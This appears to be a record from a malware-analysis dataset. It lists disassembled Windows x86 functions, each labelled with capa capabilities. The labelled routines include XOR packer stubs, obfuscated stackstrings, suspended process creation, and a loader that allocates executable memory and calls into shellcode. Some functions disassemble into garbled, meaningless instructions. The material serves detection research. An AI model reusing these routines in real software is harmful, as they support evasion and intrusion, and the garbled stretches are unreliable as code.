joyce8/EMBER2024-capa huggingface dataset:
Function at 0x55375b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x74
push 0x597330
call fcn.0055a19c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x80], eax
xor ebx, ebx
mov byte [ebp - 0x6d], bl
cmp eax, ebx
jne 0x55377d
xor al, al
jmp 0x553938
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x6c], 0x70d2afd1
mov eax, 0xf064
mov word [ebp - 0x68], ax
mov eax, 0x4c3c
mov word [ebp - 0x66], ax
mov byte [ebp - 0x64], 0xba
mov byte [ebp - 0x63], 0x6d
mov byte [ebp - 0x62], 0x96
mov byte [ebp - 0x61], 0xfd
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0xae
mov byte [ebp - 0x5e], 0x5f
mov byte [ebp - 0x5d], 0x59
mov dword [ebp - 0x5c], 0x1c
mov dword [ebp - 0x58], 0x4cd6ed57
mov eax, 0x618e
mov word [ebp - 0x54], ax
mov eax, 0x4b47
mov word [ebp - 0x52], ax
mov byte [ebp - 0x50], 0xbd
mov byte [ebp - 0x4f], 0x93
mov byte [ebp - 0x4e], 9
mov byte [ebp - 0x4d], 0x63
mov byte [ebp - 0x4c], 0xd3
mov byte [ebp - 0x4b], 0xeb
mov byte [ebp - 0x4a], 0x4f
mov byte [ebp - 0x49], 0xf4
mov dword [ebp - 0x48], 0x14
mov dword [ebp - 0x44], 0xc7225171
mov eax, 0xb9a7
mov word [ebp - 0x40], ax
mov eax, 0x4cf7
mov word [ebp - 0x3e], ax
mov byte [ebp - 0x3c], 0x86
mov byte [ebp - 0x3b], 0x1f
mov byte [ebp - 0x3a], 0x85
mov byte [ebp - 0x39], 0xab
mov byte [ebp - 0x38], 0x7b
mov byte [ebp - 0x37], 0xa3
mov byte [ebp - 0x36], 0xc5
mov byte [ebp - 0x35], 0xb2
push 0x18
pop eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0x229d59e2
mov ecx, 0xf94a
mov word [ebp - 0x2c], cx
mov ecx, 0x402e
mov word [ebp - 0x2a], cx
mov byte [ebp - 0x28], 0x9a
mov byte [ebp - 0x27], 0x9f
mov byte [ebp - 0x26], 0x3b
mov byte [ebp - 0x25], 0x84
mov byte [ebp - 0x24], 0xa1
mov byte [ebp - 0x23], 0xac
mov byte [ebp - 0x22], 0xed
mov byte [ebp - 0x21], 0x77
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x78], ebx
lea eax, [ebp - 0x78]
push eax
push 0x57eca4
push 3
push ebx
push 0x573450
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x78], ebx
je 0x55392f
mov dword [ebp - 0x7c], ebx
xor edi, edi
push 4
pop eax
cmp edi, eax
jae 0x553926
mov esi, edi
imul esi, esi, 0x14
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
lea edx, [ebp - 0x7c]
push edx
lea edx, [ebp + esi - 0x6c]
push edx
push eax
call dword [ecx]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp + esi - 0x5c]
mov dword [ebp - 0x84], ecx
cmp eax, ebx
jl 0x55393e
cmp dword [ebp - 0x7c], ebx
je 0x55393e
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x80]
push eax
mov edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + edx]
mov dword [ebp - 0x74], eax
mov dword [ebp - 4], 0xfffffffe
jmp 0x55391d
cmp dword [ebp - 0x74], ebx
jl 0x553926
mov byte [ebp - 0x6d], 1
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov al, byte [ebp - 0x6d]
call fcn.0055a1e4
ret
inc edi
jmp 0x5538b1
Function at 0x406db0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov esi, ecx
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x408850
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
cmp dword [edx + 0x14], 8
jb 0x406de7
mov edx, dword [edx]
sub esp, 0x1c
movaps xmm0, xmmword [0x40e0f0]
movups xmmword [esp + 4], xmm0
mov dword [esp], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x406ed8
mov ebx, eax
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x406ee4
mov edi, eax
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
test eax, eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
je 0x406e71
js 0x406f54
cmp edi, 0x1000
jb 0x406e75
lea eax, [edi + 0x23]
push eax
call fcn.0040b030
add esp, 4
lea ebx, [eax + 0x23]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x406e80
xor ebx, ebx
jmp 0x406e9d
push edi
call fcn.0040b030
add esp, 4
mov ebx, eax
mov dword [esi], ebx
lea eax, [ebx + edi]
mov dword [ebp - 0x20], eax
mov dword [esi + 8], eax
push edi
push 0
push ebx
call fcn.00408930
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov dword [esi + 4], eax
lea eax, [ebp - 0x38]
push 0
push eax
push edi
push ebx
mov esi, dword [ebp - 0x28]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x406f05
cmp dword [ebp - 0x20], edi
jne 0x406f05
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
lea esi, [ebp - 0x58]
mov ecx, esi
mov edx, 0x40f5e8
jmp 0x406ef5
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea esi, [ebp - 0x4c]
mov ecx, esi
mov edx, 0x40f627
call fcn.00406f80
push 0x411da8
push esi
call sub.VCRUNTIME140.dll__CxxThrowException
mov dword [ebp - 0x34], vtable.std::exception.0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x40], 0x40f5fb
mov byte [ebp - 0x3c], 1
lea ecx, [ebp - 0x40]
push eax
push ecx
call sub.VCRUNTIME140.dll___std_exception_copy
add esp, 8
mov dword [ebp - 0x34], vtable.std::runtime_error.0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x34]
push 0x411da8
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
add esp, 8
call fcn.00401ac0
nop dword [eax]
push ebp
sub esp, 0x1c
add ebp, 0xc
mov ecx, dword [ebp - 0x24]
call fcn.00401690
add esp, 0x1c
pop ebp
ret
Function at 0x40b6a7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40b6e6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40b6e6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40b6e6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40b6e6
cmp dword [ecx + 0x74], 0xe
jbe 0x40b6e6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4096c0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x40], eax
xor eax, eax
mov word [ebp - 0x248], ax
push 0x206
push 0
lea ecx, [ebp - 0x246]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x450], dx
push 0x206
push 0
lea eax, [ebp - 0x44e]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.MSVCR90.dll_wcslen]
add esp, 4
test eax, eax
jbe 0x40974f
mov edx, dword [ebp + 0xc]
push edx
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.004062c0
push 0x40b3b4
push 0x104
lea ecx, [ebp - 0x450]
push ecx
call fcn.00406310
jmp 0x40979e
lea edx, [ebp - 0x450]
push edx
push 0
push 0
push 0x2b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x409780
push 0x40b3b8
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.00406310
jmp 0x40979e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b3d8
push str.SHGetFolderPath_failed
call fcn.004080a0
add esp, 0xc
jmp 0x409874
lea ecx, [ebp - 0x450]
push ecx
push 0x104
lea edx, [ebp - 0x248]
push edx
call fcn.004062c0
push str.AdobeARMHelper.exe
push 0x104
lea eax, [ebp - 0x248]
push eax
call fcn.00406310
push 0xffffffffffffffff
lea ecx, [ebp - 0x248]
push ecx
call fcn.004095f0
add esp, 8
test eax, eax
jne 0x4097fc
push 0x357
lea edx, [ebp - 0x248]
push edx
push str.Service_workflow_failed__file_not_valid:
call fcn.004080a0
add esp, 0xc
jmp 0x409874
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x540
mov dword [ebp - 0x20], 5
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40985b
push 0
push 0x40b48c
push str.ShellExecuteEx_succeeded
call fcn.004080a0
add esp, 0xc
jmp 0x409874
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b4c4
push str.ShellExecuteEx_failed
call fcn.004080a0
add esp, 0xc
mov ecx, dword [ebp - 0x40]
xor ecx, ebp
call fcn.00407458
mov esp, ebp
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x2aca3aeb
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x42983666
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4151d0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4152a5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4152c0
push ebx
push 0x4152d0
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405380
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403270
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f68
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x415250
mov al, 0x62
call fcn.00414dac
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004151a4
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x415259
call fcn.004151a4
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4152ac
lea eax, [ebp - 4]
call fcn.00404ecc
ret
Function at 0x40a2d0
Capabilities:
Encode data using xor

Disassembly:
and al, 0x42
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
test edx, esp
jne 0x40a2a2
mov dword [eax + 4], 0xffbce3ff
into
ror byte [eax + edx*2], 0xf8
add dword [eax + eax*8], edi
inc eax
add dl, dh
ror byte [ebx + eax*8], 0x8b
ror byte [ebx + eax*8], 0x8b
mov eax, dword [eax + 0x1a]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc eax
sbb dl, byte [eax - 1]
adc eax, sym.imp.KERNEL32.dll_CloseHandle
test eax, eax
jne 0x40a29e
and cl, byte [ebx + 0x40c09836]
add byte [esi + 0x75c085d6], dl
test dword [esi + 0x60], ebx
ret
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
test dword [ecx], esp
jne 0x40a2ed
add eax, 0xffffffce
ret 0x2aff
xor eax, eax
pop ebp
ret 4
cmp eax, dword [eax - 0x1b]
push 0xffffffffffffffff
notrack call dword ds:[0x78c3c09c]
test eax, eax
je 0x40a2e7
js 0x40a27f
sal byte [edx + ebp*8 + 0x3d], 0x80
add byte [esi], ch
xor ah, bl
cmp eax, 0xf22e0080
xor ah, bl
cmp eax, 0x102
push esi
mov eax, dword [0x5189920a]
add dword [0x4995d5e], edx
add byte [ebx + 0x40c09835], cl
add bh, bh
jno 0x40a2f8
sal byte [ebp + 5], 0x5e
pop ebp

Function at 0x40abf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov esp, dword [ebx + eax*4 - 0x2c]
or byte [ebx + 0x56530c55], cl
push edi
mov edi, dword [edx]
test edi, edi
mov dword [ebp - 4], edi
jne 0x40ac13
pop edi
pop esi
xor eax, dword [eax + 0x5de58b5b]
and dh, al
add byte [ebx + 0x458bfc7d], cl
adc al, 0x83
cmp byte [eax], al
mov eax, dword [ebp + 0x14]
cmp dword [eax], 0
je 0x40ac05
mov esi, dword [ebp + 8]
xor ecx, ecx
pop dx
pop edx
push cs
add esi, 2
jp 0x40ac21
add byte [eax], 0
add byte [ecx + 0x167d0875], cl
dec edi
mov dword [edx], edi
pop edx
xor byte [esi - 0x77], cl
mov edi, 0x8810458b
or byte [eax - 0x77], al
inc ebp
popal
jmp 0x5b40ad51
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x91a5d1c
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0xd930901
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4010b0
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
sub esp, 8
mov ecx, dword [edx + 0x3c]
add ecx, edx
push ebx
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
push esi
lea edx, [ecx + 0x18]
add edx, eax
xor esi, esi
push edi
mov edi, dword [ecx + 0x78]
test ebx, ebx
jle 0x4010ef
mov ecx, dword [edx + 0xc]
cmp edi, ecx
jb 0x4010e7
mov eax, dword [edx + 0x10]
add eax, ecx
cmp edi, eax
jb 0x4010f8
inc esi
add edx, 0x28
cmp esi, ebx
jl 0x4010d7
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [edx + 0x14]
sub ecx, dword [edx + 0xc]
mov dword [ebp - 8], ecx
je 0x4010ef
mov edx, dword [ebp + 8]
lea eax, [ecx + edi]
mov edi, dword [eax + edx + 0x24]
mov esi, dword [eax + edx + 0x20]
add eax, edx
add esi, ecx
add edi, ecx
xor ebx, ebx
add esi, edx
add edi, edx
mov dword [ebp - 4], eax
cmp dword [eax + 0x18], ebx
jbe 0x4010ef
mov eax, dword [esi]
push dword [ebp + 0xc]
add eax, ecx
add eax, edx
push eax
call fcn.00423ea0
add esp, 8
test eax, eax
jne 0x401159
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
inc ebx
add esi, 4
add edi, 2
cmp ebx, dword [eax + 0x18]
jb 0x401125
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
movzx edi, word [edi]
test edi, edi
js 0x4010ef
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov eax, dword [eax + 0x1c]
add eax, dword [ebp - 8]
mov ecx, dword [edx + 0x3c]
add eax, edx
movzx ebx, word [ecx + edx + 6]
mov edi, dword [eax + edi*4]
movzx eax, word [ecx + edx + 0x14]
add ecx, edx
xor esi, esi
lea edx, [ecx + 0x18]
add edx, eax
test ebx, ebx
jle 0x4011a8
jmp 0x401190
mov ecx, dword [edx + 0xc]
cmp edi, ecx
jb 0x4011a0
mov eax, dword [edx + 0x10]
add eax, ecx
cmp edi, eax
jb 0x4011b3
inc esi
add edx, 0x28
cmp esi, ebx
jl 0x401190
xor eax, eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edx + 0x14]
sub eax, ecx
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4011d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 2
push 0
push 3
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4012c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
xor eax, eax
jmp 0x4012d0
movzx ecx, byte [eax + 0x46ca50]
xor byte [eax + 0x46ca70], cl
movzx ecx, byte [eax + 0x46ca51]
xor byte [eax + 0x46ca71], cl
movzx ecx, byte [eax + 0x46ca52]
xor byte [eax + 0x46ca72], cl
movzx ecx, byte [eax + 0x46ca53]
xor byte [eax + 0x46ca73], cl
add eax, 4
cmp eax, 0x10
jl 0x4012d0
push esi
push edi
call fcn.00402980
push 0x46ca50
push 0x46ca30
push 0
mov esi, eax
call fcn.00402df0
push eax
push esi
call fcn.00402a70
push 0x10
push 0x46ca70
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
call fcn.00402a90
mov edi, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x3c]
add eax, edi
push eax
push esi
call fcn.004029b0
add edi, dword [ebp - 4]
push esi
call fcn.00402960
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push dword [0x46ca2c]
call fcn.00402790
add esp, 0x40
mov esi, eax
push edi
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x13c]
push eax
call fcn.004241a0
push esi
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x13c]
add eax, edi
push eax
call fcn.004241a0
lea eax, [ebp - 0x1fc]
push eax
add esi, edi
lea eax, [ebp - 0x13c]
push esi
push eax
call section..text
mov edi, eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x13c]
push esi
push eax
call fcn.00402e20
movzx eax, byte [ebp - 0xb]
push eax
movzx eax, byte [ebp - 0xc]
movzx ecx, byte [ebp - 0x18]
push eax
movzx eax, byte [ebp - 0xd]
push eax
movzx eax, byte [ebp - 0xe]
push eax
movzx eax, byte [ebp - 0xf]
push eax
movzx eax, byte [ebp - 0x10]
mov esi, 0x60
push eax
movzx eax, byte [ebp - 0x11]
sub esi, edi
push eax
movzx eax, byte [ebp - 0x12]
push eax
movzx eax, byte [ebp - 0x13]
push eax
movzx eax, byte [ebp - 0x14]
push eax
movzx eax, byte [ebp - 0x15]
push eax
movzx eax, byte [ebp - 0x16]
push eax
movzx eax, byte [ebp - 0x17]
push eax
push ecx
xor ecx, esi
push ecx
lea eax, [ebp - 0xbc]
push str._02X_02x_02X_02x_02X_02x_02X_02x_02X_02x_02X_02x_02X_02x_02X
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x74
lea eax, [ebp - 0x1fc]
push edi
push eax
lea eax, [ebp - 0xbc]
add eax, esi
push eax
call fcn.004241a0
push 0x60
lea eax, [ebp - 0xbc]
push eax
push str.VBOXSVRSharedid.txt
mov byte [ebp - 0x5c], 0
call fcn.004011d0
mov edi, dword [ebp + 8]
add esp, 0x18
mov ecx, 0x18
lea esi, [ebp - 0xbc]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401790
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [section..data], 0x4b
jne 0x4017aa
cmp byte [0x44a001], 0x45
je 0x40184f
mov eax, dword [0x44a418]
test eax, eax
jle 0x4017c0
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x44a458
call fcn.00401240
add esp, 8
mov edi, eax
push 0x40
push 0x3000
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x40184d
push dword [ebp - 4]
push edi
push esi
call fcn.004241a0
push edi
call fcn.004247e4
push str.ZuWQdweafdsg345312
push esi
call fcn.004010b0
add esp, 0x18
test eax, eax
je 0x40184d
mov dword [esi + 0x12af], 0x90909090
mov dword [esi + 0x12b3], 0x90909090
add eax, esi
mov byte [esi + 0x12b7], 0x90
call eax
mov edi, eax
mov esi, edi
and esi, 0xffff0000
call fcn.00401520
push esi
call fcn.00401730
add esp, 4
push 0
push 1
push esi
call edi
pop edi
pop esi
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4083f0
Capabilities:
Access the windows event log

Disassembly:
mov eax, 0x108
call fcn.004249a0
mov eax, dword [0x46b7f0]
xor eax, esp
mov dword [esp + 0x104], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
test eax, eax
je 0x408454
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
test eax, eax
je 0x408454
lea eax, [esp + 0x110]
push eax
push dword [esp + 0x110]
call fcn.0042508c
add eax, 0x40
push eax
call fcn.00425168
add esp, 0xc
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.00424ad5
add esp, 0x108
ret
lea eax, [esp + 0x110]
push eax
push dword [esp + 0x110]
lea eax, [esp + 0xc]
push 0xff
push eax
call fcn.00425296
add esp, 0x10
mov byte [esp + 0x103], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x4084e2
call fcn.00408310
test eax, eax
jle 0x4084e2
push esi
push str.OPENSSL
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
push 0
mov esi, eax
lea eax, [esp + 0xc]
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 1
push 0
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop esi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.00424ad5
add esp, 0x108
ret
push 0x10
push str.OpenSSL:_FATAL
lea eax, [esp + 0xc]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.00424ad5
add esp, 0x108
ret
Function at 0x40ffa0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, dword [esp + 0x10]
push ebp
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.00410190
add esp, 0xc
test eax, eax
js 0x41018c
push ebx
push esi
push edi
mov edi, dword [ebp + 0xf0]
shl edi, 2
xor ebx, ebx
test edi, edi
jle 0x41001c
lea esi, [ebp + 8]
lea eax, [ebp + 8]
lea esi, [esi + edi*4]
lea esp, [esp]
mov ecx, dword [esi - 8]
mov edx, dword [eax - 8]
mov dword [eax - 8], ecx
mov ecx, dword [esi - 4]
mov dword [esi - 8], edx
mov edx, dword [eax - 4]
mov dword [eax - 4], ecx
mov ecx, dword [esi]
mov dword [esi - 4], edx
mov edx, dword [eax]
mov dword [eax], ecx
mov ecx, dword [esi + 4]
mov dword [esi], edx
mov edx, dword [eax + 4]
mov dword [eax + 4], ecx
add ebx, 4
sub edi, 4
mov dword [esi + 4], edx
lea eax, [eax + 0x10]
lea esi, [esi - 0x10]
cmp ebx, edi
jl 0x40ffe0
mov edi, 1
cmp dword [ebp + 0xf0], edi
jle 0x410187
lea esi, [ebp + 2]
mov edx, dword [esi + 0xe]
lea esi, [esi + 0x10]
mov eax, edx
shr eax, 0x18
inc edi
movzx ecx, byte [eax*4 + 0x441cd0]
movzx eax, byte [esi - 1]
mov ecx, dword [ecx*4 + 0x4428d0]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x4430d0]
movzx eax, dl
mov edx, dword [esi + 2]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x4434d0]
movzx eax, byte [esi]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x442cd0]
mov eax, edx
shr eax, 0x18
mov dword [esi - 2], ecx
movzx ecx, byte [eax*4 + 0x441cd0]
movzx eax, byte [esi + 3]
mov ecx, dword [ecx*4 + 0x4428d0]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x4430d0]
movzx eax, byte [esi + 4]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x442cd0]
movzx eax, dl
mov edx, dword [esi + 6]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x4434d0]
mov eax, edx
shr eax, 0x18
mov dword [esi + 2], ecx
movzx ecx, byte [eax*4 + 0x441cd0]
movzx eax, byte [esi + 7]
mov ecx, dword [ecx*4 + 0x4428d0]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x4430d0]
movzx eax, byte [esi + 8]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x442cd0]
movzx eax, dl
mov edx, dword [esi + 0xa]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x4434d0]
mov eax, edx
shr eax, 0x18
mov dword [esi + 6], ecx
movzx ecx, byte [eax*4 + 0x441cd0]
movzx eax, byte [esi + 0xb]
mov ecx, dword [ecx*4 + 0x4428d0]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x4430d0]
movzx eax, byte [esi + 0xc]
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x442cd0]
movzx eax, dl
movzx eax, byte [eax*4 + 0x441cd0]
xor ecx, dword [eax*4 + 0x4434d0]
mov dword [esi + 0xa], ecx
cmp edi, dword [ebp + 0xf0]
jl 0x410030
pop edi
pop esi
